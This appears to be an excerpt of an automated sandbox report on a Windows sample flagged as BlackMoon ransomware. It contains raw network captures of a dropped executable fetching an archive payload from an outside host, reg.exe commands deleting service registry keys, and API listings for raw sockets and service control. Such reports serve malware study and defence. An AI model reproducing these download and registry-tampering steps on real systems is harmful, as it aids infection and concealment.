c0 50 53 7d aa bd 9e 9d 92 b3 c2 88 b7 48 3a ad 4c e1 b7 cb 3b eb 63 a6 4d cb e1 a1 e8 41 84 6c 3f bd 54 69 88 80 3b eb 04 ed fc 38 71 51 29 a0 da ba d1 27 0b a4 04 c1 a3 0b c6 4d 36 3f a5 26 9e 07 88 5a 0d 14 34 be 4a 62 0f dc 4f 38 46 ff 73 2a 03 45 e9 2f ac eb e6 1d c4 04 00 56 7f bc 10 33 e5 50 06 95 41 a5 bf 97 60 ea 87 03 36 b9 22 04 b6 86 d2 af 40 be 13 aa 4d e8 c8 d3 3b da 47 8a c7 7f cc 44 98 21 eb 69 62 53 ea 1d f7 a4 76 70 04 5e 0e 4f fa f7 15 2c e9 51 a4 1a 84 fa f5 f1 ad f0 9f 16 81 5a 66 ab a1 29 53 1c 7e 5e 3b d0 c2 6f f6 a9 ba d7 fb 59 2a f7 db ad 55 24 57 23 2a 90 3e 23 53 71 07 36 87 6b 35 e0 78 6e 5b a9 b8 04 a2 95 67 d9 2f e5 ec 67 64 15 6c ea 0f ad 3b b5 ed 17 dd 96 97 85 a0 ae 2e ba c6 80 fc b7 a9 5d 54 cb a0 cc 93 c4 d3 2a 33 91 b5 ce de 66 b0 31 47 a7 da 6b f0 25 35 7c 18 8a d8 a9 96 ac 77 29 53 fa eb 6e 30 ea [TRUNCATED] Data Ascii: PK:YsB64dtmp.rarqui-b.HhPS}H:L;cMAl?Ti;8qQ)'M6?&Z4JbO8FsE/V3PA`6"@M;GD!ibSvp^O,QZf)S~^;oYU$W#>#Sq6k5xn[g/gdl;.]T3f1Gk%5\|w)Sn0_B:&LXsBItfCDhme`5em<zfS-eDnY@zV&j;r2_nz6^MZDrT7'8"Ga70^-_>H#X.dbdxThrvi6x{0c;3~{-}_uo
Aug 5, 2024 11:59:50.426970959 CEST	1236	IN	Data Raw: 19 64 2b 99 86 6c f1 31 2e 8f fd 77 28 03 d2 62 c3 e2 e4 7e d5 79 98 06 23 c3 2e 6a 70 b0 8e 99 13 f0 05 30 6e 98 fa ba af 6f 56 e5 7b 15 e9 7a 6e 4f be ba 8f 3a f2 4d f0 88 37 ae 63 9b 22 b6 50 85 d3 fa ef ac 7e d6 c4 b3 67 83 fd a0 e2 90 58 2b Data Ascii: d+l1.w(b~y#.jp0noV{znO:M7c"P~gX+RL!(]\|(~_#RMbuEFS@\hzRZ&F)T7fwG0b63WgT/S![R&Vn[eXLt]4b~yYF] jfSY*kMm
Aug 5, 2024 11:59:50.427063942 CEST	1236	IN	Data Raw: 24 3a bf b9 20 22 f9 1b 04 e3 f3 22 1e 90 c3 37 ec 7e 48 21 7c c4 c6 5e 17 a5 af fd 4b 5f 23 2a c6 a4 c7 8d be 5f b3 de 73 30 65 db 26 54 c3 fe c6 52 29 b3 38 24 1f 66 2b 20 4d 98 57 19 9d 0f 47 a6 62 1b 83 ea 97 9c 45 b5 b9 85 56 2c c3 ec 96 85 Data Ascii: $: ""7~H!\|^K_#*_s0e&TR)8$f+ MWGbEV,)9BOB"^.HPBizn?\|\sluG&Zwv`0hZ+pw)=~[}]=bj<b%j'>5%wgX"v
Aug 5, 2024 11:59:50.427100897 CEST	1236	IN	Data Raw: b0 f2 0c 2e 6c 09 51 d2 91 54 48 5c ea ca c1 e2 dd 0a 5e 2c 63 c6 6a 58 9d 37 a7 a4 07 c5 7f 4e 6a 2c 8a 84 cc 90 61 d2 07 a3 c5 8c 63 04 32 5d 96 5f fe a3 a2 2a 8a 1e eb ab 70 ed 15 04 7c 94 12 e7 f8 08 21 34 ae fe 67 19 68 d1 3f 39 82 e3 be 0f Data Ascii: .lQTH\^,cjX7Nj,ac2]_*p\|!4gh?9.[>}Az<SP0==d-wNmWr6PKoOC[>01cNbmFk _lop1]p:{Vf"UWN=4~sq)yj5
Aug 5, 2024 11:59:50.427155018 CEST	1236	IN	Data Raw: 6d 88 8f 17 9d 5e 1e b7 3e a3 dd 5a 53 79 ec 9e 84 12 55 d3 94 06 51 74 4a 19 b4 f0 a9 c5 ad cc e2 0f 87 fa 3a c7 73 a6 36 01 3b fd 2d fe 1d c7 9b aa 02 97 90 22 7d 79 47 e5 7b 9b 26 f6 85 79 d6 94 04 7f 9d a3 c2 58 d1 1a dc 32 a2 7b 0a 53 c8 8f Data Ascii: m^>ZSyUQtJ:s6;-"}yG{&yX2{S:kMRM_rTda+"N^e6k]'I$I<%HepW\R4n'\ID\gl=@9v/gaF&Z"2PC
Aug 5, 2024 11:59:50.427189112 CEST	1236	IN	Data Raw: ac 0d 4f 50 f1 0c 82 77 d6 16 de 81 57 7e 05 a9 12 b8 31 75 fd 69 02 8d b0 66 b0 8b 42 07 f7 d7 7d 4f 34 a8 ee 64 16 76 a2 88 4b db fb 7b ee a7 6b 4e 93 db de 75 62 3b 14 a7 83 c3 b7 f6 43 f2 b8 53 bc 81 18 d6 8f 31 1f 44 9c e2 0a be aa b6 22 2d Data Ascii: OPwW~1uifB}O4dvK{kNub;CS1D"-;SD-F=o(CAYb<.N yBl{+ygza\\|iYmJY&s>-o@y7,"9_bgS&cEEig\4e}.O
Aug 5, 2024 11:59:50.427225113 CEST	1236	IN	Data Raw: 99 ac 8a f2 e4 62 a3 dc 32 99 7b 83 a1 3b 6d 33 e4 9e f5 15 17 af 22 b6 55 44 0b 2b af 97 fd 9f 43 22 22 8b 6f 46 d3 fe c1 28 fb ec 72 9d 4f ef 08 af 20 2b 47 5f eb 6c 5e 37 14 70 71 34 b6 ef 56 4d fd 12 90 50 d9 27 f0 be d9 ca 8b 65 30 89 8a 24 Data Ascii: b2{;m3"UD+C""oF(rO +G_l^7pq4VMP'e0$"98RTTfd_Q&6G+Pp\nBG=IqHRPgB9PSG[LjVF\|F+\|YN7dtI4;@joD\Nd5.d^>
Aug 5, 2024 11:59:50.427258015 CEST	1236	IN	Data Raw: 26 c0 9f db 4f 5c 0b 21 ab d4 fc ce 0e d7 61 97 44 f2 52 6f e7 dd 07 7e 0c 8c ea 92 1c d7 ca 63 78 90 e9 f2 6a c8 01 c1 10 ac a1 c7 ec 49 22 43 80 01 ba bb 56 06 58 94 cd 5c a6 d7 d5 cd d7 f2 a8 29 7b 19 d1 4a 5b e4 87 e5 be 63 85 4b 7d fd 68 f7 Data Ascii: &O\!aDRo~cxjI"CVX\){J[cK}h&'yMi<4JG~L'.$[W}a?}}e~`dpQ9M8_Kj;f7z?%<Ks('I9:]nA+_#S.d
Aug 5, 2024 11:59:50.427292109 CEST	1236	IN	Data Raw: bc d4 92 61 0a a2 28 d6 c1 ec 75 9e 2f 97 f3 48 db 62 10 f2 e0 02 8c d3 71 6b 59 86 b9 0f 83 1f 33 29 1f a0 d4 f6 d7 4b 91 32 d3 de 37 e2 e5 e9 9a 39 58 5b 18 d8 30 02 14 2b 20 90 4a a9 03 04 0d f6 53 c3 c4 05 f3 e4 c7 f8 e8 86 c0 24 a2 7a c8 66 Data Ascii: a(u/HbqkY3)K279X[0+ JS$zfne?\wm?[S>W_4}w<[Lee KDaU@<;o3?xo&c$bsD\SV#5p>gW]-G3Hh.d"G9
Aug 5, 2024 11:59:50.427329063 CEST	1236	IN	Data Raw: 75 7f 85 de 89 ec cf 0f a4 da 1d 5d 84 84 a0 21 ef 11 f2 15 3d 70 15 4e 19 3c 37 6d f9 20 3c c3 07 24 94 84 ee 1c 87 a3 ce e3 e2 ac 38 70 c5 aa 4b 65 37 3d 4b 61 52 df 66 79 c3 38 a1 40 86 5c 2a e4 d1 85 25 70 49 0c 7c fc 3d 51 ba b8 75 e6 dd cc Data Ascii: u]!=pN<7m <$8pKe7=KaRfy8@\*%pI\|=Qu,y(hdr!apZ?5Ak>0a.=C9$GX0:LvfvZj-@/\|oq!3F7zRpm.~uEZ3kveDD
Aug 5, 2024 11:59:50.432413101 CEST	1236	IN	Data Raw: c4 7c a4 44 47 7a 3e 37 65 d1 b2 f8 32 06 7c 11 c5 8a d3 b4 3b 01 7a 0c 75 2d 1d 2c f4 c4 a5 06 a6 1c 83 9e d8 66 ba 3e e1 bc 33 99 2d b0 f5 e6 b8 94 f6 57 95 f0 d5 85 f9 ec aa e5 7e 3d 18 24 03 2f 0a 60 5f fe 95 e1 27 89 c5 ad a2 e0 18 3e 99 07 Data Ascii: \|DGz>7e2\|;zu-,f>3-W~=$/`_'>_ipM<Y:eka X0#v\ymqk@8.W'7&UB6FTE;\|H]n^BY2&.8d!IWFY;~h)w"!`;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49766	27.221.16.149	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:59.354336977 CEST	232	OUT	GET /operate/24647 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:00.583312988 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 09:59:57 GMT Content-Type: application/octet-stream Content-Length: 1286778 Connection: keep-alive X-RequestId: 2e0afbc0-2408-0518-0000-b4055d752c87 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 09:50:07 GMT X-Filesize: 1286778 ETag: "11a265e5a4b94fd875d3d29de9a3e43a" x-amz-meta-crc32: 8BDB303B Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1286777/1286778 Data Raw: 50 4b 03 04 14 00 01 00 08 00 3a 8e 05 59 ff 73 17 02 02 a2 13 00 d8 1c 14 00 0b 00 00 00 42 36 34 64 74 6d 70 2e 72 61 72 d7 71 da 75 90 69 2d b1 62 2e 48 80 12 de 68 c0 50 53 7d aa bd 9e 9d 92 b3 c2 88 b7 48 3a ad 4c e1 b7 cb 3b eb 63 a6 4d cb e1 a1 e8 41 84 6c 3f bd 54 69 88 80 3b eb 04 ed fc 38 71 51 29 a0 da ba d1 27 0b a4 04 c1 a3 0b c6 4d 36 3f a5 26 9e 07 88 5a 0d 14 34 be 4a 62 0f dc 4f 38 46 ff 73 2a 03 45 e9 2f ac eb e6 1d c4 04 00 56 7f bc 10 33 e5 50 06 95 41 a5 bf 97 60 ea 87 03 36 b9 22 04 b6 86 d2 af 40 be 13 aa 4d e8 c8 d3 3b da 47 8a c7 7f cc 44 98 21 eb 69 62 53 ea 1d f7 a4 76 70 04 5e 0e 4f fa f7 15 2c e9 51 a4 1a 84 fa f5 f1 ad f0 9f 16 81 5a 66 ab a1 29 53 1c 7e 5e 3b d0 c2 6f f6 a9 ba d7 fb 59 2a f7 db ad 55 24 57 23 2a 90 3e 23 53 71 07 36 87 6b 35 e0 78 6e 5b a9 b8 04 a2 95 67 d9 2f e5 ec 67 64 15 6c ea 0f ad 3b b5 ed 17 dd 96 97 85 a0 ae 2e ba c6 80 fc b7 a9 5d 54 cb a0 cc 93 c4 d3 2a 33 91 b5 ce de 66 b0 31 47 a7 da 6b f0 25 35 7c 18 8a d8 a9 96 ac 77 29 53 fa eb 6e 30 ea [TRUNCATED] Data Ascii: PK:YsB64dtmp.rarqui-b.HhPS}H:L;cMAl?Ti;8qQ)'M6?&Z4JbO8FsE/V3PA`6"@M;GD!ibSvp^O,QZf)S~^;oYU$W#>#Sq6k5xn[g/gdl;.]T3f1Gk%5\|w)Sn0_B:&LXsBItfCDhme`5em<zfS-eDnY@zV&j;r2_nz6^MZDrT7'8"Ga70^-_>H#X.dbdxThrvi6x{0c;3~{-}_uo
Aug 5, 2024 12:00:00.583442926 CEST	1236	IN	Data Raw: 19 64 2b 99 86 6c f1 31 2e 8f fd 77 28 03 d2 62 c3 e2 e4 7e d5 79 98 06 23 c3 2e 6a 70 b0 8e 99 13 f0 05 30 6e 98 fa ba af 6f 56 e5 7b 15 e9 7a 6e 4f be ba 8f 3a f2 4d f0 88 37 ae 63 9b 22 b6 50 85 d3 fa ef ac 7e d6 c4 b3 67 83 fd a0 e2 90 58 2b Data Ascii: d+l1.w(b~y#.jp0noV{znO:M7c"P~gX+RL!(]\|(~_#RMbuEFS@\hzRZ&F)T7fwG0b63WgT/S![R&Vn[eXLt]4b~yYF] jfSY*kMm
Aug 5, 2024 12:00:00.583503008 CEST	325	IN	Data Raw: 24 3a bf b9 20 22 f9 1b 04 e3 f3 22 1e 90 c3 37 ec 7e 48 21 7c c4 c6 5e 17 a5 af fd 4b 5f 23 2a c6 a4 c7 8d be 5f b3 de 73 30 65 db 26 54 c3 fe c6 52 29 b3 38 24 1f 66 2b 20 4d 98 57 19 9d 0f 47 a6 62 1b 83 ea 97 9c 45 b5 b9 85 56 2c c3 ec 96 85 Data Ascii: $: ""7~H!\|^K_#*_s0e&TR)8$f+ MWGbEV,)9BOB"^.HPBizn?\|\sluG&Zwv`0hZ+pw)=~[}]=bj<b%j'>5%wgX"v
Aug 5, 2024 12:00:00.583535910 CEST	1236	IN	Data Raw: 4e 91 3b ad fb 31 62 41 9a ee f4 d2 fc fe d6 91 e8 ce 9e 54 fb 2c 65 b1 6a 28 64 2b fd 59 85 d4 f9 83 d2 73 92 6e 81 e5 47 7d 3f ba 01 0d d1 02 46 68 c8 6b b1 d8 cd 04 a4 4c 2d e5 51 7d ed 5a 5d a1 f0 99 13 65 f9 ec 6d aa c4 35 d6 c7 11 5e df a7 Data Ascii: N;1bAT,ej(d+YsnG}?FhkL-Q}Z]em5^\'{Q2<:'IyO.>\\|`F-Y('t239={<U),WZKyjTn"f)}5[/!&`/]0"\|<\|g^o^
Aug 5, 2024 12:00:00.583570957 CEST	1236	IN	Data Raw: 0a e3 8b b1 7b da 06 43 e9 b0 1a ad 5a 90 f1 0c 66 73 17 6d f3 c9 99 9d d4 6b 7f 60 7c d8 bd d7 e9 5b 82 88 73 02 fb 58 22 1e 13 45 38 80 8b 9e 5b 24 a5 40 af 90 6d 2d d6 71 57 75 60 8a 26 70 d9 9b fc 21 77 fd 46 29 5f 4e 43 5f a5 cf 3e 7f 7a 31 Data Ascii: {CZfsmk`\|[sX"E8[$@m-qWu`&p!wF)_NC_>z1) 8FR<<`'\|GyJ#r7sptdt+(=8$,x#:$p/dZ)8':mHARiCw/xmystdgGH^B*QVi#:Xr.`>bD
Aug 5, 2024 12:00:00.583606005 CEST	1236	IN	Data Raw: b8 36 73 75 62 ae e4 72 9b ad 33 fc 9b 05 2d 88 1c 23 f5 c2 d2 4b 6e 34 8b ee e7 16 4f 90 74 a8 8c 64 f1 96 54 6d 8a 2a 15 3e 59 c2 56 57 ca 86 aa 79 66 a7 46 b9 31 ce 02 0c f9 d4 de aa 51 fa 99 55 5d 4c 8a 04 d0 09 85 01 0e 3d bf d9 fd 84 8c c3 Data Ascii: 6subr3-#Kn4OtdTm*>YVWyfF1QU]L=;l{lR&#`(kCGCS023j6FEaU/pl3:3q0X.8#zB}5u_rl qy8iZl(>%P:PHjEwD-`s
Aug 5, 2024 12:00:00.583640099 CEST	1236	IN	Data Raw: 2f 62 37 83 cd 21 4f 18 ff 83 78 8e 06 74 9f ff 2b c8 20 f8 50 a2 df 26 18 17 2b 9c cf 37 3d 35 49 bc f7 33 1e fe c5 94 35 2b 5f 5a 45 a2 56 df 9d 87 9c 76 71 f1 d6 98 11 d6 7e 22 7b 94 9b cd bc 7b ef 87 75 25 ac 30 4e 41 bf 2f 9c 6f 0e 92 9b a6 Data Ascii: /b7!Oxt+ P&+7=5I35+_ZEVvq~"{{u%0NA/oCODS-r;o=wC+qQcru13$?2AeoHthLqMI\S_NksZhA&kU~2Eh`oS:y9V4
Aug 5, 2024 12:00:00.583672047 CEST	688	IN	Data Raw: e1 e2 fe 75 a7 74 b2 8b 1f 7e cf cd 46 13 01 9a 7d bd c0 6d 16 d4 56 1e ab 71 6f dc 57 33 01 9e 10 65 d8 7f 2d 97 32 8e 1f 08 a5 ad 99 03 07 7e 3e de d0 d2 76 82 c0 f3 ad 9b 14 99 2e c3 d5 5c 29 5b b4 6b da 39 1e 61 e9 ec 1c b3 a0 d6 10 77 6a 9c Data Ascii: ut~F}mVqoW3e-2~>v.\)[k9awjs//O'51cI/*Fx=ZEhAU,pVn6?gJMB27f\V(VC~SC,!26nr$v.[GS?3ps`b%^,
Aug 5, 2024 12:00:00.583707094 CEST	1236	IN	Data Raw: c5 5a 87 77 ee 73 a6 0d b6 7a f4 8e 0a 1d 36 bd 87 50 34 00 99 e8 bf 7f 09 5d 71 5b 4a ae f4 e0 3c 54 1d 33 11 2b ff 24 65 17 7e 5b ae e7 ec 8b 80 c9 44 f5 e2 cb 8c 4e 51 27 b7 01 af d1 d9 a3 9c 4b 6a f6 84 c6 36 f2 75 cf ba 6e 9d e4 dd 6b 19 d6 Data Ascii: Zwsz6P4]q[J<T3+$e~[DNQ'Kj6unkEBpG;qFb494[6T]CN8`fkg:]Pco~u\XVc\|NXuPT?VN6lGsq?G*%%I{>F&O\!aDRo
Aug 5, 2024 12:00:00.583741903 CEST	1236	IN	Data Raw: 98 70 43 70 e4 d6 96 cb 80 9d 90 2e 37 38 54 b0 77 bf 75 29 e5 c9 52 79 00 73 b8 8d 55 5c c2 bb 54 59 f2 b1 f9 28 fa 3a 76 e1 70 9b 38 e4 c6 16 81 d5 b5 cd 68 ca b8 22 c8 fd fc 82 2e c1 01 7a 33 5c 10 10 76 a0 85 b2 5b c0 4b 4d 03 a7 65 50 c5 35 Data Ascii: pCp.78Twu)RysU\TY(:vp8h".z3\v[KMeP5} P{7\IC[I-q}b0GFNZU@b\7!Pi0HjL}Y+!"]J+a{T\|xc8(/'<rW?>t$dt?9wy%Sa(u/Hb
Aug 5, 2024 12:00:00.583781958 CEST	1236	IN	Data Raw: 83 ed fa 39 0f a8 f7 6c e5 95 91 77 ac 82 83 c2 43 33 9a db d9 62 b8 62 85 2f 34 1a 49 d4 11 b5 69 95 ee 4e 62 8d fb a1 03 b8 49 3b 99 0e 95 bb 1a 66 d5 e4 80 f4 b3 ac b7 9e ab da ef ff ab 5c fa 7b a2 86 82 08 7d 80 ea ba e6 f3 00 27 18 32 94 28 Data Ascii: 9lwC3bb/4IiNbI;f\{}'2(A1c\|wpP!FR_HWTzTh(`Yfco,UvZ?eGnLm\bGk'sZ*n8u{-z7:3.Zuu]!

Target ID:	0
Start time:	05:58:59
Start date:	05/08/2024
Path:	C:\Users\user\Desktop\1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1.exe"
Imagebase:	0xb60000
File size:	29'911'040 bytes
MD5 hash:	31C8B08626439C6E0EB963FCD0661126
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:59:01
Start date:	05/08/2024
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\mozilla maintenance service\F7BE15F582DD9.exe" WfCSiyl7KCmSL4J0fXwpklp7KYEqfR6S3zx7JntO
Imagebase:	0x400000
File size:	1'168'440 bytes
MD5 hash:	0D79B45E55C20F14D9614596247B7DF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000002.00000002.4602036796.000000000EAB2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 13%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:59:04
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:59:39
Start date:	05/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A633favQv /f
Imagebase:	0x740000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:59:39
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:59:45
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:59:57
Start date:	05/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\4CE0zvyEH /f
Imagebase:	0x740000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:59:57
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	25.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	1131
Total number of Limit Nodes:	87

Executed Functions

Function 6A04E1F0 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 350
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6A04E250
select.WS2_32(?,?,?,?,00000000), ref: 6A04E28F
recv.WS2_32(?,?,00000001,00000000), ref: 6A04E2B9
_strncmp.LIBCMT ref: 6A04E320
_swscanf.LIBCMT ref: 6A04E353

Part of subcall function 6A080F76: __mbsstr_l.LIBCMT ref: 6A080F83

_swscanf.LIBCMT ref: 6A04E582

Part of subcall function 6A080968: _vscan_fn.LIBCMT ref: 6A08097F

Strings

%d %s %d %d:%d:%d GMT, xrefs: 6A04E574
Date: , xrefs: 6A04E3A5
HTTP/%f %d , xrefs: 6A04E347
HTTP/, xrefs: 6A04E312

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _swscanf$__mbsstr_l_memset_strncmp_vscan_fnrecvselect
String ID: %d %s %d %d:%d:%d GMT$Date: $HTTP/$HTTP/%f %d
API String ID: 2973436612-460920543
Opcode ID: c36141a76f0fba56af7e2de03bab97cb172ef9220e2d8311d3700c03d8d9e631
Instruction ID: 22ae687048b4ab19e2fdd3c1c5efa337c7bbf57e72c8c772b69ab53cdc706991
Opcode Fuzzy Hash: c36141a76f0fba56af7e2de03bab97cb172ef9220e2d8311d3700c03d8d9e631
Instruction Fuzzy Hash: AED18E71508741DFE321CF68C884B9BB7E5FFCA324F548A2DE1A987291DB31A905CB52

Function 6A04F3F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 66
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6A04F41C
WSACreateEvent.WS2_32 ref: 6A04F424
GetCurrentProcessId.KERNEL32(?,?,00000000), ref: 6A04F42D
WSASocketA.WS2_32(00000002,00000003,00000001,00000000,00000000,00000000), ref: 6A04F440
WSAGetLastError.WS2_32(?,?,00000000), ref: 6A04F44D
_sprintf.LIBCMT ref: 6A04F45E
OutputDebugStringA.KERNEL32(?,?,?,?,?,?,00000000), ref: 6A04F46B
WSAEventSelect.WS2_32(00000000,?,00000001), ref: 6A04F490
_malloc.LIBCMT ref: 6A04F49F

Strings

WSASocket() failed: %d, xrefs: 6A04F458

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Event$CreateCurrentDebugErrorLastOutputProcessSelectSocketString_malloc_memset_sprintf
String ID: WSASocket() failed: %d
API String ID: 884985324-4110721735
Opcode ID: a0642128028db6b1076acca754f09ab45d9e6cc4c7cffa80a39acfcbdf328a33
Instruction ID: 5ea41a5685c22ca17eee591a5f2dc667e20a658c90a001af2056721910328609
Opcode Fuzzy Hash: a0642128028db6b1076acca754f09ab45d9e6cc4c7cffa80a39acfcbdf328a33
Instruction Fuzzy Hash: D521C9F1A043009FD7209F74D889B5AB7E8FF58704F40491DF69AC3281DBB5D9448B41

Function 6A048BE0 Relevance: 12.1, APIs: 8, Instructions: 77
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.SECHOST(00000000,00000000,000F003F,?,?,?,6A0490FA), ref: 6A048C00
OpenServiceA.ADVAPI32(00000000,?,000F01FF,?,?,?,6A0490FA), ref: 6A048C2F
StartServiceA.ADVAPI32(00000000,00000000,00000000,?,000F01FF,?,?,?,6A0490FA), ref: 6A048C40
GetLastError.KERNEL32(?,000F01FF,?,?,?,6A0490FA), ref: 6A048C4A
